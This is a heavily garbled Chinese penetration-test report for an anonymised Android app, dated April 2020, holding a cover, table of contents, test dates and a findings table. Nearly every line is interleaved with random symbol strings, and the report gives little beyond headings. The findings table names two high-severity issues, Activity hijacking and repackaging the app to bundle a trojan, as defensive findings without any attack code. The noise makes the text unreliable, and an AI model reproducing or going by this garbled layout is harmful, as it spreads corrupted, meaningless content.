) u/ Q( y* v& v Q
4 J* ]' O8 Y4 N; x2 f5 q+ o* D
6 V5 `4 N( @, o
3 P% w3 o" W: R$ v2 k* U! ]7 }6 G
( h, t3 _/ V% ]1 Q& j
* M: {6 b5 F C& w" K# e
4 ]4 s; o* {3 k; m
/ G) N2 L' J" w8 H$ S7 [
7 Y3 \, O5 s+ [: E0 N) V+ n4 k0 j% }8 s3 q' T1 m
4 i- e6 j4 o- ?2 ^, s# ~4 G! d9 A
1 F5 ]7 e* W7 n0 k5 Z& h( z; o 文档编号:
9 R/ N' j% L# V; o' d3 G, x% |7 z7 X8 J" Q/ G" V& g$ C- z! D
8 F, c4 ^4 \+ C ^# {, L1 o- o- b7 F0 ]8 ]6 ?
3 f* K6 P3 y* _0 R: B9 V
2 s" @ E5 [% e $ j- g3 B0 _6 u* r' o1 q
0 M1 S+ ]) J& d- O% p9 N# s! U
6 I) {) S5 J5 s
9 k( ^# `9 h) }! b: R
2 B1 F/ F8 e! H5 p( o7 I1 Q0 y) H
A- \0 Q4 H, R! R$ G* X7 N5 W 6 b v p9 t. i8 w4 L( f
: ^5 b& ~& @2 q. c) D+ c$ Y& i
- ?! q# F8 p6 g/ q/ |
: r C5 c3 [3 @- g# N- M
& Q- @$ Q) c0 l" e2 Q5 B- G0 e; Z" Q9 E: I& j! s- R
9 o* e- }9 m: A$ @
$ v! j$ [4 _5 G4 j! h: W; i( ~1 n
, o. r5 f$ R* r7 H7 f! Y
, E$ E# c0 L$ n1 j% x) S0 q* o8 O
6 m% J5 m( K) w6 Q
: Z" N) s( r6 Z& P* D! l
" m% E. c/ b9 q. S* n" x+ C& T% D% x1 _. ], _; K! ], U! k9 a
' ], }" N) D9 f9 V/ _" U2 M* B9 [6 q/ \" j4 ~
2 V& l* W8 E& p0 g
1 x: m0 D/ R3 u
$ O K; T' t: J4 F! t0 e2 Z) T7 ?9 u" b1 y
/ f; T8 |7 T% x2 Y$ k7 R) k/ r+ Q$ d3 d1 q
5 w9 w$ I4 }* L$ N2 ^
; V4 } O5 E' M; ` 某某某APP渗透测试 9 J, L; b" C+ G8 l+ N- f$ d
( _. C. v4 ?5 s" m& G1 b1 `$ z x$ E
9 o5 t8 I% u' _& E4 k3 O
8 N* Z; Y7 g K$ w0 Z' N9 ]
% ]* d3 W* G3 u
+ Z+ C8 z3 @$ O& Q. q' e) r7 z % i2 X5 K, F- `) b2 }) m1 g
~& X3 F& d- a5 z i
4 e/ q6 F+ f0 k. T- v# k% m
8 [) g% O/ G+ J
. p. V, [( U/ _! W
, W8 ~! u% |5 G6 H2 K3 }' z/ Y # E# n1 @/ `* w& H( x
1 c' \" T: u, a1 w, o
% O; V, ~4 \, O3 p
0 V0 y9 D- e( E" a
1 \% |; @+ X- M& H+ c% x( A- k% U F2 N1 Y% H; t3 i, D
7 ?; R c0 K5 \2 M4 `; N5 v
6 [" }: N2 U P# Z5 K3 L
) M1 w1 o: _8 i5 T& u8 U9 V3 h* p! w
0 h+ X2 D1 F6 h" C
- `' \2 }+ ]/ C: M2 M1 w" R, ?$ L( c
8 Z+ H" p3 x' E7 I
+ x) K: C h3 L. k) V
& m4 v8 s3 p3 m9 h* E9 d3 h( x& H, a8 e
v, c L9 ]3 A7 y6 f: Y. s7 G/ l
技 术 报 告 " I' [2 P1 \1 \, ?
0 C8 s. u) |" X l4 o5 Q: |
M& m# B0 \4 z0 o/ h2 } F4 e( s# o8 n% I# H9 I0 {" t
& a! A3 a) g3 }
4 w( [1 G/ ?' C: s" i! P; x2 F
% t0 T* ~0 ]9 M( X& _' p& R: z! Y, {! ]. F
* T- m' { u# [' H7 \
; ^9 w8 K$ G4 I: w; N5 J + E% ~6 v) I5 ^& \3 T) H
) S4 G4 H, M" D; S2 ` ' `- k# u: E9 R0 C/ k& \
- Z& N$ C, ^' m5 H( M
& }2 h5 p+ F2 g/ H; J% o
) w4 q7 Y( Z4 G Z% `/ T0 V3 \ ) Q, Z8 I- O9 f0 | t F
9 K* p" }# J+ W' b! K
! O' n+ y; R4 I% [( h$ \4 q7 f1 \, @: p1 @$ L6 f% o1 }1 W s
7 x% x# ^. M3 e8 B
/ @$ y# C: P& a, d: i
! q/ B3 k, ^! X; G' b2 d
& ~2 y& E3 y: e* V( o 9 N# J; }( Y+ ]+ T) s: T8 a
8 f3 i$ c' ^3 X% k) a2 }" E8 H
) o: {) w$ k- Y1 h# h: x+ x5 Z
# H1 ?% T9 e# }) V" U2 Z& J% v
! m) ]( ]& }2 n# o, A5 e' _( ?( i* n/ W5 ]0 {! B0 W
3 p5 P/ X) [* j$ B: U3 e
( n3 o" @( ~3 t& R
1 d* i. `( V6 P2 A7 v& T
7 T3 M$ }! a* h: r, M ; s: p: z: E3 G) h1 M+ B
' r) f: ]. i$ y4 k, w
! R' B5 u" p2 P! s" S: [
0 `, k7 v7 |/ z1 u. B( N' t( h$ i
) ]" c6 Y- j7 s( d4 f) A9 j
$ t" w) @; ]3 t p
5 q" r* f, M: m1 t' [5 e
9 c6 V2 v, {2 [9 q1 d0 \- x
7 N: K- g. m5 A* L2 x5 ?2 o
0 R: M5 h! u& ?7 b. G6 R* o
8 S3 r; P2 Q! K% r
* _* s* t2 W- c2 a7 @
w$ _3 N6 i8 ^% O" l8 }& V' _% K7 _
& G6 i) L. P* G: h4 Y* b
, X3 l! `: a3 B
( ^( ?- y4 c9 e6 M5 C& `+ `5 B* _, Q; Y
1 F" `) b& T4 ]) r, ~7 d, h
0 W$ R0 V- ~9 i
/ g ~$ g8 J) Q& k; F
! r' E" k$ Q. `! Z- y
7 M0 d; r C# N/ U$ o0 u
3 M# B* b# a& Z2 `
7 Q7 E" h7 H4 c) O5 D
' K" t6 ~+ Z3 g0 n8 O
" f2 v0 v' N6 o }8 Q" c
6 a' }3 E0 i$ c9 A- A" \
- s3 ^/ e R/ \! G7 Z
- T+ e( n! c& _* R1 C: r1 C
n1 s8 [& w* O2 {+ ]: E' u- y6 s7 m- l7 W8 }6 }# I. z
' P1 x0 ?: Y( s
0 d; Q- ~8 S) Q& Z
+ b" _! J( {- F4 u' F2 \+ R- S. M; R
- h6 G% Q9 `% K# j
[5 U" ^% A. ~! [* `4 q
% t6 o. {- ?1 i/ Z$ A" y# I
, U3 T0 P3 ?7 f2 e& S! a
8 N& ^ Y' V3 p& F: o7 R% O
# u1 ]8 H$ j, m. E9 b D
6 Q* H" J" P/ ]% Z! B
+ j0 D/ T" o; W3 }2 n( ?: I; A9 j8 {5 _' } h. J8 B
1 u0 g% u, X& a
& v8 Q1 R. U& @% E
) m' N7 X: e9 D
( _0 I& N' l3 k7 [ ' f9 J7 D, [0 h' O8 {/ H! Z1 h; i
# k Z6 m& m/ o5 r2 d) U! n4 M
! Q7 y% W8 x' l5 T/ v
2 [$ z% Y7 `6 U# @( _0 |1 z
6 Q1 `: t* P4 h3 B6 T8 u% f& ]7 \0 w, ~
" N: V6 u$ t" Q5 q- \! Y1 j& W
& S# M; p3 i( q: W7 h
( Z1 [2 X+ F* W5 M4 W ]$ B% g
( E2 I) w S) Z
, ]% c: K# R5 h+ @4 A
/ o8 i3 P; V0 A
6 y2 R) [" f; l4 k. C1 Q" X
3 k) X, Y$ B( y t3 K. z! \' J/ v) _
. F# e& K7 ~# ?# c7 \" T1 H- y3 \ p4 l3 T% G0 d& |
( ~9 @( c& i) t3 [
$ l( Y9 u2 C/ Z. N: `3 k' v4 k
: C4 | |" \: J7 x) t- f$ j) X
. }/ O D4 v7 ^' D
# C) z' v" O0 S& y$ U1 A& t) i0 ` D6 H6 t3 ]7 \" I
8 B; E9 l+ g- z8 v, A" ~
, W* V# o, C: S& f% `0 N, J
5 K. O9 D& t( T; f' g. Z% B& G$ O7 a# n% J6 L. o
4 o0 t1 Y' }$ z! Q' U, G/ K Z3 n" b; m
[3 O# t3 E" ?1 \, h2 C t _4 Y+ E2 |. E1 h, h0 |; N
: b4 [+ h. J6 N+ V+ t5 \
1 i% J$ c4 G( W' t9 L 二〇二〇年 # q* _6 }3 {$ a% s8 @( P
* A8 K& e) B) F; O. {; W4 D: A
% S5 n' t1 Q* a" d: o) j0 A
) x. l7 p- f0 S$ Y& q. K$ z
+ P+ \1 w: J; D8 p, w7 X+ e4 h$ i2 y8 o' y" N. H: Z V
" [& l( O; P( x" I# O" c) K
8 @ E8 [0 k1 f% K& b/ R& e & S- M" i) z( o' E/ }4 R
! S; {3 }" O8 e! S9 a; Z
' [# I: J6 {# n- u, m% y
' }# S2 y# l9 `# z9 ]; F
+ ?- K+ v: b) k J7 W8 \0 r! j
" M) X; r2 K+ h$ @' {
* w2 k7 N* |! A# l2 C2 y( U
6 n# }. e, x O. @5 v# ?2 n. k) T
2 @1 n6 m X! L5 q$ F" c0 F1 ]3 ^8 g: x1 y7 i1 c r2 M; u- J, `
x( H8 k( _. X' ^8 r* ]( E/ s4 j
9 @! X+ w( c! J5 W; D3 z* T7 J- L3 v5 s* j0 p+ W) @1 x2 O! T4 L
目 录 # V' k" X/ J9 L/ e7 K; ]5 t S* X
! h" G8 j; [6 _& V# u- K" R
# e. o; @2 A$ Z: ~5 s% w: ]( I
L+ x; |6 o; E! [
; x- j0 L9 Z- [; @2 ?
- y! [" H6 U' p3 A8 C! j
6 n6 K1 @9 `; w0 J8 h, q9 D
; E+ J8 \- ?" T3 W( S
6 F/ [8 J# \0 a" T- r* a. x* l9 I8 J0 M
, A+ f% C) X/ ^ O) Y3 Z3 V# Y% K& n5 q: s2 N
$ ]# z" `# r1 C) l$ E
' N8 w1 |' B- ^* C) O4 \ 1 概述... 3
" Y& z+ T. f0 D# l' o& E3 q, E/ o) J" E% u# s& R8 g
3 x" ^: S) c9 h8 r3 V
4 p' |5 k5 l$ M, L8 @2 A ' h9 P6 {% Y( _5 }9 E' E2 V: M; Z' _
# r7 l- k" L+ E: I6 `' l) ]
1.2测试时间... 3
( K* B' t3 R- D" V& r3 ]6 X# q, p% b' g
- {, _& J# t0 }( J4 a& N
% X- l6 M$ |* y9 A) W2 {' w
$ {$ o5 M! b2 q+ y; ]- H
! D8 ]: Q C; l 1.3测试对象... 3
3 N, z% R7 z: D2 ~8 w* D6 T" O) G! a( f$ B" Q$ H2 K
. ~: J, m2 X* N! j! k" b
5 S" Y0 y9 J4 i' V( b- ]
2 v2 i* H' d9 N0 \7 w* Q: ~8 k% u- W
) t# J) U& s# m( G. A; T 1.4测试结果... 3
5 H4 z" t; W' a; O0 \: U
/ R! O7 L- t, K" A2 O5 ^
: T& V, Z/ v% t7 c: e6 m& l9 ]
7 N( c% V4 J; _7 s 6 K# M: H* ~: s5 k+ P
1 F2 v0 }+ H% H6 [2 b 2 检测结果... 4 9 G X0 L, x! \" w+ P
; X. T/ ]& D7 O% U) ?4 a
2 u; [% Y! T- E5 X4 R: q* m* p. ? }* v
: ^1 o/ E% `5 W
/ D; u1 j/ l5 o6 h
2.1 某某某... 4
' C g* m; `+ K7 \0 ~% N2 v7 G' V7 K# R8 C3 c, s/ B
M' ~% q" D$ V& L; Y* \$ v
! h# H7 E$ N8 ]9 V" e; l
; R4 y4 \3 t. H% C% G: Y: i8 s
* q( D- _) u( \8 g! @+ [6 _2 T2 G/ @ 2.1.1检测目标... 4
/ _7 v& ]& k7 W; s. n, P& _8 E4 L: v
+ \! I/ I0 C2 @& @$ f2 H9 L( U1 d- X0 K4 J; N5 r$ h5 ]
8 B) _: e! n7 @6 W( x2 c5 ]( m4 @
% J6 E% J% H" j: y
2.1.2检测结果... 4
/ u- k3 C3 G- u8 Y9 m* N, k" M, Y0 [/ {" Y& V& E" C- w" |& z
: b( w1 i. k! k$ u; T
1 v2 W0 _$ H' v( w1 I4 m1 l/ r( G m
1 h- A" ? c0 s/ p0 }& H9 S' q# l
2.1.2.1. 4 ! e/ M1 Y) R* c
! P# [$ l' T9 ~
& X4 x0 m. v8 k! i' V
5 W( }- X* G3 g7 t. f6 G
+ x) V; T C$ [/ n4 ?, r0 W- @% O0 P7 c: s7 S' I/ A5 H( Q( e
2.1.2.2. 6 6 l3 @4 \5 E8 y, L* E) |; K: Q
: ~+ ]1 I& j) S; n- \. j$ e& y2 E
3 t- a; _/ x9 ]6 H+ `% i* e: n- F% E5 b# K8 C
( w+ l# P9 a' \+ r4 r8 l' \, O: J& U$ U; h
/ z& r: h) q) o) t9 q
9 A$ i, X8 u* ]$ H8 E' K! k$ w
3 @/ M+ ?; ^1 B' ?! H, @ `
! M: R) z# ^/ t' w6 x I! H
3 V; v2 K+ t8 T! o4 D$ E
0 v' ] e% G# l) }+ P* J4 z ( |) C, t* j$ a, y" r, ]# e/ i
! f6 i1 d: r7 [
6 u! w( g7 ^* o3 z. F5 h
# b: l) X: z# O4 ^ 1 c# t: L0 t# n
7 `6 F4 Q4 U$ d* P: y0 ^2 c# B& m/ O
- C3 x: R& Y p9 ?+ A8 \
b5 e7 p0 O f 1 概述 & p* W. V M% g
( l# F* t' f0 `! J4 H ~
, Z- i! a9 d. S2 d9 `0 i9 k1 ~% `3 @% K6 _, O6 z7 i* d. v! k C7 t
1 C) @# {. S& i7 r
: W# A) O; b5 e3 b 1.2测试时间
5 j. c* g0 n2 i4 T. T! R1 W
" n* Y8 d* i9 k4 a+ ?8 b
& o& w7 d+ E. F1 W' p: D7 T- G [2 w5 t w! y9 s3 N
0 o- k4 v; @9 [) m6 ~4 H1 p6 N0 s
2 {/ K* b2 C- I, T" C/ U
0 B3 V8 w" n/ L
4 O% N* @. c% A5 C6 E
% Y2 ]9 O, y0 k6 z
|
3 P% Y( Y/ ~$ X- k
; q4 h9 Y! c+ v1 c6 @4 u. t
& j, q$ V3 p" b0 g
7 }$ C# _ J9 ? 渗透测试时间
& _$ T# a0 @5 A) ? q
$ N) `" C/ u2 X' n3 G 3 J- H7 y9 o8 ~
1 \ n& J: I; Q$ j1 O | 6 v% J- D( B+ E- t$ a* P9 ?" e7 h
# T5 Z1 ] x6 b: n: ^" t- M
% ^/ G( Q) m* q" P% J* P
6 c7 J6 N7 Q4 W' f h+ e V$ i5 ?( r. v: a
3 j- \, _4 S- E. D! l$ B- _1 O
|
3 }. C4 M+ H' ?& j2 D# V: Q+ `6 w$ \7 s+ [! \( S/ @9 d6 U. Y
8 G. `4 a% p3 J, o2 e ^ i+ W- g9 l( Z5 [
起始时间 % J# ?7 f$ A B, D
4 |! ^( O: t* ^$ V+ S* J
& m6 |0 [2 J7 ]+ n% u& Q- C0 @7 l& ]
3 M5 P8 l$ {+ S |
2 g* i. w8 E/ U: j, c9 f& ]
$ f" D1 j' j) h) ^
! v P0 C% z1 |0 ?0 N) Z# l: o( U1 w1 `5 `4 p
, l4 M8 t6 i' O' B6 e
( l4 J' ~' X) G4 ]8 u4 \ 2020年4月6日 , ]6 F( p3 u2 i5 \6 G( Z
! a. P4 z9 @$ l- x( B, D & Q2 [1 {8 |6 o5 Q- o' ^
% e; t1 B/ \+ r- J5 U M" D
|
7 s; a, I0 e# K9 n
& \- s' b Y3 f: B. s4 i
3 o6 v1 d9 K1 [. [) I
* A2 z3 i) p- s9 |& Q7 `; y
& M" I% X- ?$ V6 f; {5 G# v4 \1 A
# H: v5 @0 i* P& q( ~8 {; T | + ] m% U$ v+ a% J
0 }4 A' `) L [% v! A# d " |/ K1 B0 u+ W1 ?" T
" v. T! r; C: Z: P3 E3 a) C/ S$ j
结束时间 0 g) }3 t0 ?% [, i
! Z9 d8 ?$ O! B$ h8 ^. s# O : d i r9 J( w s/ e* i
* G- A& {; ~; W B
| 0 d0 @$ Z2 A' ?9 T! z
3 F1 X. ~% L$ `
8 V. i+ M/ O& T1 O5 N6 u5 X: E9 u' t) U- ~/ }
' f* X- g: ~" r. T8 F4 S$ i# J" k- o# a: a5 X
2020年4月9日 8 I2 @8 l7 t! |( y0 t
5 P) l$ H. M2 p% V) J/ V
# `( N. x o+ H* k* d0 k
% W2 _+ v- A+ X5 Y2 ? |
/ Z: C0 F! Q: \! f- z- Y: ]+ x; i$ m* v/ N$ A2 L5 H6 N% R2 L
! j+ d" R) Q. N" d" R+ w0 S
- A) q1 }. z+ G; k
& Q5 F$ G- T+ ^. p3 H; t. ^2 ?4 o' q2 e
5 m+ X( h9 H4 P. y
! ^% A% Z1 e+ r+ c0 I N ) C9 b) g! S3 H# N% Y
3 b1 y! J0 ?* b9 Y" j. d
1.3测试对象 * s( b8 a" ~& J' b7 |
8 k N% r0 P2 b F
+ i; _/ M, U* Z( @, ?+ W r
# H) U' d" B7 D( m0 Z5 e3 n" T' m. q
' p! J2 s3 e$ u- a }8 M- C6 e. k4 R* T; E
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
~4 ?( v* |$ g" q7 p+ C2 r7 e0 ?4 h7 ?& a' B7 {. ?! O( f
_* G( D Q# Q) i5 [5 k# @' q5 y4 n" j% y* k0 a2 M
: s4 q6 ]8 _9 I I3 I* U- C
P9 d7 ]+ z0 ^( l; H; o 表1-1 检测对象 7 q( M' j& r a
. ]; x9 V A7 y% D6 Q) L
% h2 X: ^3 ]" n7 k
' k2 l$ d2 P+ p- `1 L0 Z , _. c+ M$ s! c$ i$ C% r& b+ R
0 W: @9 {% p1 h2 M% p- V9 u8 k
6 T) t! Y9 r6 _6 ?6 ^, p/ c" e9 Y
. T) d$ X$ W9 T, h2 ^
/ q7 B K: N( z7 ]: R- u
% S6 U7 h$ q/ g% g! Z |
/ {0 m( p5 \ I+ z8 ^8 Q( p* t/ z6 L% f' h% I
. h4 ^/ R% V k3 f
+ ]) i+ ~, T9 Q! r, [ 序号 % u1 m. |: P$ s% X$ } O7 \
6 o5 b4 M6 L0 u% v j0 g
. K/ B9 @+ s! M5 b2 q- E: M; P
) a0 y4 G0 T2 f) n7 X |
0 r# P! e% g. f' D0 l
1 o `1 b1 M7 d G; R( K$ s. F , c! J6 T( P$ C# T
8 J7 w$ `9 ]0 U1 e9 z+ L
5 z2 i' H5 j4 \% d5 U7 O; v# k0 d* M6 l0 U& E8 C
测试对象
8 |% J6 z9 V6 ?) E
$ R# ~& c: ~/ P+ k; z3 u : h3 T2 F& g: f0 O" s5 o
0 a3 l, W. t' E: {. P
|
6 ?$ ^) U$ {: Q: @
& i u! v6 @. [( G, _5 Z
( |% g V G) q( m8 d9 u9 y! I& h+ U; v7 X) _; y1 h8 B$ K
. E, x! ~/ a$ N8 A" |+ D
) e$ F! l; w7 n* _, a 测试地址 " ^/ ^2 P1 }) ~) T" z' W0 K
8 \0 Q$ w2 z+ C2 G0 e
* I* }3 C K P, r. g- S* v( q% U. R' y0 L# T& i, v: K- r* n
| ! \. t1 x& x1 w* {$ s K) i
5 ? g+ b0 R9 Q9 v. Z2 z! d& L0 {
* A* `$ d& W" |; m4 o/ F# ?1 M1 ^8 m8 n
: F. i- ?4 h5 K% Q/ r5 R7 H
* {# v+ ^2 b+ f, r n% c
安全漏洞
& S- a; X5 G" t. V- N2 I- r4 n
* s9 a H( h( W& Q ; z1 H" O+ L% B7 Y
) r) I5 v2 V4 j7 O | ! M. u. Z+ h5 ]
4 P1 x# J n3 E8 A2 P, D3 d
) w! x' c5 `9 a
! I/ s- R u" @! o$ D( m & R6 D" [3 G: O1 C
/ r" l6 l S+ T ~2 r | : L4 A+ I: m* Q: c8 U- z4 g
3 C8 U$ n$ D! _3 T. {( O$ _8 u& v: n
3 I. A5 Z: n4 ~; H; b4 `9 C9 C# |# I
, n" ^$ K: `# d$ m 1
/ s( w( d7 }( N6 @) |( m, Y0 w* o; u; \; n4 e' v
2 y" h) w& q- I7 d. E$ W0 p" ~5 N
9 i" j8 F" ^1 \" j3 d
|
" [' ~* V; ]! o% t E" c* w
$ M( Z V* `3 K, X; E6 H+ F) T ! V7 e% P* g' E
& N: j& {% X: C) |9 N7 j1 n3 ] 5 R2 s. ~; n' Z, a Q0 C- D$ R
: D2 s( u) ~8 ], A8 G& s D: t! D: y
某某某安卓APP
" z1 {+ ~, q2 s) d; y; A4 h4 e4 ^# O$ Z4 S! I$ _. e" N
5 s3 r3 z. n( D/ a: W7 C7 F
+ N+ r. D, j' ?* f$ \3 `2 b( Z6 M j |
7 \4 Q, Q P, E. O. @$ c
: d' \' a' `% n5 U% ` 4 \- T9 P6 M8 K1 }5 v( C( N
6 s- F* I0 {/ {; Q9 J# t $ ~# g0 y; R* b p5 Z# j! j4 P
& a; w+ A: S% r; ^( K: x
6 r4 T/ d3 w+ Z* {+ H; P" }# X3 p3 x# P% M' U( K
- T5 a; N5 }; Q6 Y% s+ y2 ?3 B- {
; b, |( S& C* G, R | , N( ^6 ^% Q- O4 b9 ~- I1 x. G
, N4 W) l1 S1 B1 a6 d7 y
3 r% a; c6 z6 ]; Z* A+ R
9 m& ]4 s, c7 p
7 n' l4 ~& D# Z$ m: l3 ^1 i
, m* M- U5 o! K2 T; r. j- F4 ~0 { 2 4 e! u8 E s! v+ W" \
' M) R1 v+ A! N# d# C
7 V' C d5 M2 z3 a. n' ?
8 V l$ x( f" e$ |$ D$ J% X( C |
2 ]+ n9 S( C( i& X+ _# w
" N+ Y- k1 Q, _: n: M. {
; B9 ^8 c% K: Y$ k' V9 q( C
: Y2 |% z, Q/ F4 v3 S+ ^
/ Y# |* d$ r1 o/ w! Y$ L q
: K- Z% F, }' g# @( i
* L( Q, a) m' ?% U) a/ G5 V
; T9 C) C3 Q' l) i
8 A N3 j4 a; k. n0 A7 |) h' `
$ g' [: {1 @( B1 @5 ~$ O
1.4测试结果 6 T- _) H7 K% i- a: D
" D! a ]4 `0 D, {! Y
* m" a5 q8 w2 D! ]) _' j0 n
R! g( K" `6 }7 d3 C
$ ^. L/ V x4 Z7 t2 A
# x3 i" z5 n5 k 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
/ t; Y! E5 p" P" [# n- M- K
9 P. |4 b+ s" p# O: J7 D4 I$ ]/ }
7 j, `2 u: X+ o5 G5 c6 p
) ^( |' ]; q* X7 u
: v: g+ |" o5 K) I8 U! X9 m7 p. [8 P. U0 c1 o7 ~' m
& {7 N; {6 |: |% U
: y; S5 _9 Z3 f! I$ o6 v
9 _* ] e+ O* P- z' F
0 [, o" A; j/ Y% x3 R5 P1 ?" B $ S D8 @# b) D4 Q9 N0 m( R9 G# t* K
# r% Z6 L& f6 @3 J$ u4 P% r- {
0 ]. s5 U0 h$ k4 F& Y) g' Z! N. h( K% z( \: B" |! K3 W
. C% q! l K9 L2 R; H: d5 [
9 E4 C J3 @: _; w & i- L: B* D" v& f2 W$ |& a
2 u6 V5 |/ V9 g5 @) b, G& e
| , o. t" Y4 C1 S7 I
# b) j: e E6 O4 N) q! W- T
" x/ _4 H& l8 {
7 p+ A& W9 m- V7 ~ 序号
5 Y" m% q7 k. h" t7 x D
* h% [5 n, m$ [' P2 W8 y. w1 h
5 t* f1 g- k. N2 W9 T, W8 ^9 v, B" s/ i& l
|
d: P: {+ ]$ v I9 j! N* h6 ~3 o- D9 r
4 M4 ]$ U5 l$ v( |3 \& O" i& ^1 M! w$ A* W+ \5 m7 g+ B( s
: a- i8 w& V/ K
" q2 V6 b: h: F! h) o 系统名称
y2 g% K; k6 [2 z
! o+ G; j- q- Z8 r+ ^: e% \ $ x% r9 q" {% Y/ ~0 e2 R5 z, ?: w
* l3 O/ `: N4 Y: D8 I7 V- b$ b% B* a, [
| " W0 {% h8 ]7 {+ M4 O9 P* Q1 |+ @& F" m
: m3 s& _5 g) ]" r# t3 w* O
! Z& L* [) L( w8 ?8 K, S4 X" o2 a ?
# T1 h1 a) O5 N" S5 D- \
# F5 e J% Q( R4 l* f) B
6 i$ Z9 d Z( z 漏洞名称
8 i2 F0 W8 v& R. Q# Z1 [' b z% z/ Y& u) I5 S: w! U, ~
* ^( x7 M8 u5 r; d4 [! a! x
0 X3 B7 B2 u/ m$ |+ m+ Q& [ |
# R1 _- N( N+ @9 i0 c: V2 ^/ f, B
! F$ D! o" k2 e: i2 W / J; W3 ?* c2 @2 b
% s, j x' Q: Z0 e6 {' Q; h
7 V8 K- m( @8 U. d! h9 p! a1 I
& f% u$ o T' I! ~7 |0 ^8 e4 ?/ ~ 漏洞危害
' @5 h/ E( W" f' g, U; Z% E3 q; w9 ?1 J5 ^( Y
+ K; i1 w y$ m- ^, Z
, I( `' b* l1 P | $ E" v/ }. D' W
: ]9 D; u: ]* b, U. o4 D
" k" t! h, K. P6 M- |1 I$ r
" F( e7 V- v' Q( L9 X; g, S, A
, B4 ~+ I& j$ G: \" b# G _$ E( H. p" ^& |7 Y7 {0 P
修复结果 . V1 s9 ~. e" }; N8 m ~& J
. H7 `1 b. v( ]; [ / f0 s% q3 a1 v" P- ]* j0 Y% q
2 E" E) W) D; h* a! u& n
| 0 ^0 A: @" O6 \4 [3 |: X3 J
G h. Y- R2 U) v
0 a. c, V$ W6 V0 _2 S0 }2 e, C* k, F9 F0 A
1 R9 P5 x T2 m, F$ J
0 S- s/ M; Q6 h2 j( a$ @% v | 5 T4 o8 H+ F& X/ A
' i& O/ d+ p7 A0 k8 V- R+ ?1 ?
/ F- o0 }, Z% _& a7 z* S
5 s: [' j* n* t9 A# Z* W8 K/ ]; P
1
9 x& F" l1 G3 d/ x& q. g
1 ?+ v3 E! M* {% G- e
3 x d2 `0 [8 u, z- l' S! G( l0 p8 l U" d+ b+ C
| . E3 s# k$ @: W" ?- a( L, u$ t
' D. v2 `4 d; S' K2 i N. N
" G) R; ~# e7 D3 X, e
, {+ E) G- a' \! X" t: o. \ # [) ]1 \) l0 r3 M
8 j# e/ `% e4 z# k- b 某某某某某某APP
9 F) Y2 X" H2 E- `4 C) m$ {7 s) E- j, x) v9 [8 I+ ^
* ]% Y1 Z& ^% u# T! L& A4 D, Q
8 G1 R- F9 g' s
| " p) }0 k! u9 b0 s7 Y- G0 T( X
9 L' c' ~$ K. o" j* x, V
2 {9 G; d- K# j$ ]! B$ x
8 [) e: t; R/ f6 T0 t ' d6 ?' ?4 v, O* U9 [
, K9 g+ L& r% Z* I! d( A Activity 劫持
% L; N9 b$ r) g- f( R
2 ~/ V- k0 M6 t, _% z+ B ! c, v5 p5 k% w! v {4 y" P
3 j8 b% }: z$ w, e& X; k
) {0 f$ Z! t0 u K# m
1 c5 W' n8 M6 F( [0 r
( p( z! s/ }" K& w7 p, T- E7 t) l4 I% i% b' y, y
% @, V* |8 C( ], B
: Z& U! P8 S6 q. E& o! D$ s | ! ?+ B/ o: M7 K" G+ i
* w3 [% a3 r% H9 M" H
) J2 u* `+ U7 c& ?( q8 D
, T D. i, s# }1 V; u
1 [) g6 e$ u# N- `! g0 i
4 R r- K- C% x9 t6 D* j3 t 高 $ V4 {: \3 T; A) v) S9 A7 G7 w) l
M' v; ^: r! c" _' z8 J4 N$ }" k
5 @& f) ~0 i, R' q
: F% `$ w+ s' R, W9 X Y |
% _9 M$ ~! V: c4 z& v% Z5 U& X- x; x: K' A( r. c8 i. e; R- Z5 {. ^
' y( {! w' s8 O7 f4 `) K* P8 G0 b Z5 n
2 Y' a0 U0 |3 U( q, |2 ?) `
/ @) x6 M, _1 e; S1 h8 s3 L
/ F7 ^& \' y8 o2 P
; P4 u0 E# t, I p, H8 @ 8 _( V# |6 ]: `+ n' L9 f4 z
; Z ?# K$ k3 O2 O0 n
| # n. m: R, I! D# v2 Q
) w7 ^: _3 q7 K! R$ P( K- X
( R/ ], s1 m/ u- T) u- g# g# h; c
! H/ n4 x8 i. C, x% G* `
" J; d8 R' [2 a2 r& q9 D5 I- Z
8 A) e! j) m0 _! P; L) k# u. Q1 h | , [) ~( h0 {" t/ Z( k3 J l2 \! ?) W
& w! J1 M; l! H1 I / O1 Q9 L+ H( G3 m4 [8 c
- R+ B5 I* h6 V# p# ~
2 * D( p$ I- |3 M3 _1 t7 H Z
$ b3 `6 W" n' a- z6 F; p 8 S: Z+ o7 T( m3 s+ P- ]
' R# |" v4 K8 a9 X; b! o: Z |
: {( m% {% W! l; k' Q9 @3 l7 K$ L
+ N) l% C/ E, }) b9 ` " L2 r* I% r7 n w5 p3 |
! k; O$ ]: E) ]/ K; f
" ^- C: [0 ?5 S& G/ l. x
$ c- L" t4 [+ S! \
某某某某某某APP
- U- L4 C$ _5 [! p$ @2 J
4 @9 c5 q2 C, V8 w( c, _
: @9 ~& @ F1 N# E0 c# |! J$ ?/ i4 k J2 h
| + r$ y) R) V/ P5 U( L# I. h8 k4 L
$ Z- ]6 r& Z4 c/ I2 a/ q% V* A 3 }, x3 z& c" `+ A
9 _1 F% Y. ~1 W2 ^1 v- Q
2 R2 k$ y# K# Y/ G' e. |0 K" S$ N1 b& ^, J( R1 j
反编译二次打包捆绑木马、篡改APP代码
3 j2 [7 Y3 n! v
5 b) a1 w' G% `+ C! b0 |6 C
% v5 r3 ~0 {" J; R# z4 `. g" S7 z$ ]2 O, k
| # z' \6 H3 s8 z
$ H( s- i9 w" G
# O9 D* U. a4 W V. z7 a( N; s( Z0 ]8 _3 V) s7 t( ^6 f0 S R
3 G7 h5 U, Y2 [* [
q! ~" K" N) R6 x) A$ P: d, f
高 9 ]$ U8 f; E, k5 `0 x
W6 @; P/ L- w- }5 T: O
. a* K: ?9 H( Q/ T
9 x9 w9 P5 k0 F1 G4 a" B# [
| 6 c8 i& t! f) Z+ o; w
& B S% B0 R2 u/ v; ~, v6 C
) ^" }# |2 D! C' t% q8 W. |; S( ~3 T4 t
9 W7 v7 Y7 |3 [7 \/ E/ V
- t8 ], [) C" d: y0 W$ U8 o9 u5 I% K + L" Z7 f$ Q, M% x0 m# M
3 m3 ?* o: `, J- _
+ B! m% E s% E0 M( |4 {) P
4 C, G7 ~, E$ R4 d, |( Q | , x, B( ]1 T' y, Y6 A
- ^/ i. ~, P0 U( @9 u5 @
5 c& C$ n! N9 O- n$ g6 i; J, `
